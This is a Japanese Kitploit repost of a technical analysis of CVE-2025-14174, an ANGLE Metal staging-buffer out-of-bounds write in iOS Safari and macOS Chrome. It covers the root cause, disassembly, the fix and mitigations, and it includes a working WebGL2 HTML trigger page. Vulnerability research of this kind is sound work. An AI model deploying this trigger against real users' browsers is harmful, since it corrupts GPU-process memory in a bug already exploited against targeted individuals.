Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-14174-analysis — CVE-2025-14174 の分析と PoC - ANGLE Metal の領域外書き込み (iOS Safari、macOS Chrome) | Kitploit
ツール/GitHubGitHub/typeconfused/cve-2025-14174-analysis
iOSセキュリティ脆弱性分析エクスプロイトウェブセキュリティモバイルセキュリティハードウェアセキュリティバイナリ解析
GitHubtypeconfused/cve-2025-14174-analysis

CVE-2025-14174-analysis

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-14174 の分析と PoC - ANGLE Metal の領域外書き込み (iOS Safari、macOS Chrome)

リポジトリを見る
117ヶ月前未レビュー

CVE-2025-14174 分析: ANGLE Metal ステージングバッファの範囲外書き込み

CVE-2025-14174 の技術分析と概念実証

CVECVE-2025-14174
重大度高
実地での悪用あり - iOS 26 未満への標的型攻撃
影響を受ける製品iOS Safari、macOS Chrome/Chromium/Electron(macOS Safari を除く)
ステータスANGLE コミット 95a32cb で修正済み
クレジットApple、Google Threat Analysis Group

実地での悪用

Apple によると、CVE-2025-14174 は iOS 26 より前の iOS バージョンに対する 「特定の標的個人に向けた極めて高度な攻撃」 の一部として悪用されました。

攻撃チェーンには以下が含まれていました:

  • CVE-2025-14174(本稿)- ANGLE Metal の OOB 書き込み
  • CVE-2025-43529(WebKit Bug 302502)- WebKit の use-after-free

目次

  • 概要
  • 影響を受けるプラットフォーム
  • 影響
  • 根本原因
  • トリガー条件
  • 技術的分析
  • 概念実証
  • 修正内容
  • 検出に関するメモ
  • 緩和策
  • 参照

概要

ANGLE の Metal バックエンドでは、ステージングバッファを介して深度テクスチャをアップロードする際に、範囲外(OOB)書き込みの脆弱性が存在します。ステージングバッファのサイズは、実際のテクスチャの高さではなく GL_UNPACK_IMAGE_HEIGHT を使用して計算されます。UNPACK_IMAGE_HEIGHT < height の場合、ANGLE は小さすぎるバッファを割り当て、その後 height 行分の書き込みを行うため、レンダラープロセスで GPU メモリの破損が発生します。


影響を受けるプラットフォーム

この脆弱性は、WebGL に ANGLE の Metal バックエンド を使用するアプリケーションに影響します:

プラットフォームの詳細

iOS の Safari は影響を受けます。 iOS では、WebKit は WebGL バックエンドとして ANGLE を使用するため、iPhone と iPad の Safari に脆弱性があります。

macOS の Safari は影響を受けません。 macOS では、Safari は Metal に直接インターフェースする WebKit 独自のネイティブ WebGL 実装を使用しており、ANGLE を完全にバイパスします。

macOS の Chrome は影響を受けます。 テスト中、macOS 26.1 で実行されている Google Chrome は、WebGL に ANGLE の Metal バックエンドを使用しているため、脆弱であるように見えました。

脆弱なコードパスは ANGLE の TextureMtl クラス(setSubImageImpl / setPerSliceSubImage / SaturateDepth)に存在します。


影響

重大度説明
確認済みGPU/Metal バックエンドによるステージングバッファの終端を超えた書き込み
確認済みWebGL2 + PBO + DEPTH_COMPONENT32F で再現可能

主な特徴:

  • このバグは WebGL ではサイレントです(通常は NO_ERROR を返す)
  • ほとんどの場合、目に見えるレンダリングの異常はありません
  • Metal 検証レイヤーがオーバーフローを検出しない可能性があります
  • ヒープレイアウトによっては GPU プロセスの不安定性または悪用の可能性があります

根本原因

D32F 深度テクスチャのアップロードパスでは、ANGLE は GL_UNPACK_IMAGE_HEIGHT から pixelsDepthPitch を計算し、この値を使用してステージング MTLBuffer のサイズを決定します。ただし、後続のコンピュートディスパッチ(深度飽和)は操作に実際のテクスチャの高さを使用するため、パラメータが異なる場合に OOB 書き込みが発生します。

サイズ不一致の例

width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F の場合:


トリガー条件

以下のすべてが真である必要があります:

  1. WebGL2 コンテキスト(PBO サポートに必要)
  2. 深度テクスチャ形式 DEPTH_COMPONENT32F(確認済み。他の深度形式も影響を受ける可能性がありますが、未テストです)
  3. PIXEL_UNPACK_BUFFER にバインドされたピクセルバッファオブジェクト(PBO)
  4. GL_UNPACK_IMAGE_HEIGHT が実際のテクスチャの高さより小さい値に設定されている
  5. ANGLE Metal バックエンドがアクティブ(iOS Safari、または macOS の Chrome/Chromium/Electron)

WebGL がこれをブロックしない理由

GL_UNPACK_IMAGE_HEIGHT は GL 仕様では 2D テクスチャではなく 3D/配列テクスチャのアップロードに影響を与えるものとして定義されています。TEXTURE_2D の場合:

  • このパラメータは受け入れられますが、WebGL の検証には関与しません
  • WebGL は 2D テクスチャに対して UNPACK_IMAGE_HEIGHT < height を拒否しません
  • ANGLE は深度アップロードのステージングバッファのサイズ決定にこのパラメータを誤って使用します

技術的分析

脆弱な呼び出しチェーン

root@kitploit:~
WebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
    │
    ▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│   └── TextureMtl::setSubImageImpl
│       └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│   └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...)  ← UNDERSIZED
│
└── SaturateDepth
    ├── getComputeCommandEncoder()
    ├── setBuffer(stagingBuffer, index=2)
    └── dispatchThreads(MTLSize{width, actualHeight})  ← USES REAL HEIGHT

バイナリ証拠(iOS 26.1)

root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov  x2, x19              ; x2 = size (undersized depthPitch)
0x272fac5c4: bl   #0x272ef19bc         ; call MakeBufferWithStorageMode

バイナリ証拠(macOS 26.1)

root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr  x20, [sp, #0x48]     ; load depthPitch from stack
0x22c6d4628: bl   MakeBufferWithStorageMode

SaturateDepth 関数は、その後、実際のテクスチャ寸法を使用して Metal コンピュートシェーダーをディスパッチし、小さすぎるステージングバッファを超えて書き込みます。


概念実証

最小トリガー(WebGL2)

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');

const width = 256, height = 256;
const unpackHeight = 16;  // << smaller than actual height

// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);

// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);

// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
    gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
    width, height, 0,
    gl.DEPTH_COMPONENT, gl.FLOAT, 0
);

// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>

脆弱なシステムでの期待される結果: gl.getError() は、GPU プロセスで OOB 書き込みが発生しているにもかかわらず NO_ERROR を返します。


修正内容

ANGLE コミット 95a32cb は、ステージングバッファの割り当てを実際のテクスチャ寸法を使用するように修正しています:

root@kitploit:~
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));

// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));

さらに、ブリット操作の srcBytesPerImage 計算も修正されました:

root@kitploit:~
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;

検出に関するメモ

この脆弱性は JavaScript からは検出が困難です:

  • ステージングバッファは GPU プロセス内の内部 Metal リソースです
  • WebGL は通常、バグがトリガーされた場合でも NO_ERROR を返します
  • Metal 検証レイヤーがオーバーフローをフラグ付けしない可能性があります
  • ほとんどの場合、目に見えるレンダリングの異常はありません
  • Metal API 呼び出しの計装または GPU メモリのデバッグが必要です

緩和策

アプローチ説明
更新ANGLE 修正を含むプラットフォームアップデートを適用する
回避策深度テクスチャでは UNPACK_IMAGE_HEIGHT を実際の高さより小さく設定しない
多層防御UNPACK_IMAGE_HEIGHT == height となる固定サイズのアップロードを使用する

参照

  • ANGLE 修正: https://chromium.googlesource.com/angle/angle/+/95a32cb
  • Chromium バグ: https://issues.chromium.org/issues/466192044
  • WebKit バグ(CVE-2025-43529): https://webkit.org/b/302502
  • 影響を受けるプラットフォーム:
    • iOS: Safari(WebKit は ANGLE Metal を使用)
    • macOS: Chrome、Chromium、Electron(ANGLE Metal を使用)

クレジット

脆弱性の発見: Apple、Google Threat Analysis Group

技術的分析: 本稿は、この脆弱性に関する独立した調査とリバースエンジニアリングを文書化したものです。


本分析は SpiderWebKit セキュリティ研究プロジェクトの一環として実施されました。

ツールをダウンロード
プラットフォームソフトウェア影響備考
iOSSafariありiOS の WebKit は WebGL に ANGLE Metal を使用
macOSChrome / ChromiumありANGLE Metal バックエンドを使用
macOSElectron アプリありChromium の ANGLE 実装を使用
macOSSafariなしANGLE ではなく WebKit ネイティブの Metal WebGL を使用
可能性あり
メモリプレッシャー下での GPU プロセスクラッシュまたはコンテキスト喪失
理論上GPU メモリ内のリソース間破損(実証されていない)
パラメータ計算値
行ピッチwidth * sizeof(float)4 バイト
ステージングバッファ(割り当て)rowPitch * UNPACK_IMAGE_HEIGHT512 バイト
コンピュートディスパッチ(書き込み)rowPitch * actualHeight2048 バイト
OOB 書き込み2048 - 5121536 バイト
関数アドレス役割
setSubImageImpl0x272fa9028小さすぎる depthPitch を計算
setPerSliceSubImage0x272fac240小さすぎるステージングバッファを割り当て
MakeBufferWithStorageMode0x272ef19bc誤ったサイズの MTLBuffer を作成
SaturateDepth0x272facfa4実際の寸法でコンピュートをディスパッチ
関数アドレス役割
setSubImageImpl0x22c6d10f4小さすぎる depthPitch を計算
setPerSliceSubImage0x22c6d4398小さすぎるステージングバッファを割り当て
MakeBufferWithStorageMode0x22c619490誤ったサイズの MTLBuffer を作成
SaturateDepth0x22c6d5144実際の寸法でコンピュートをディスパッチ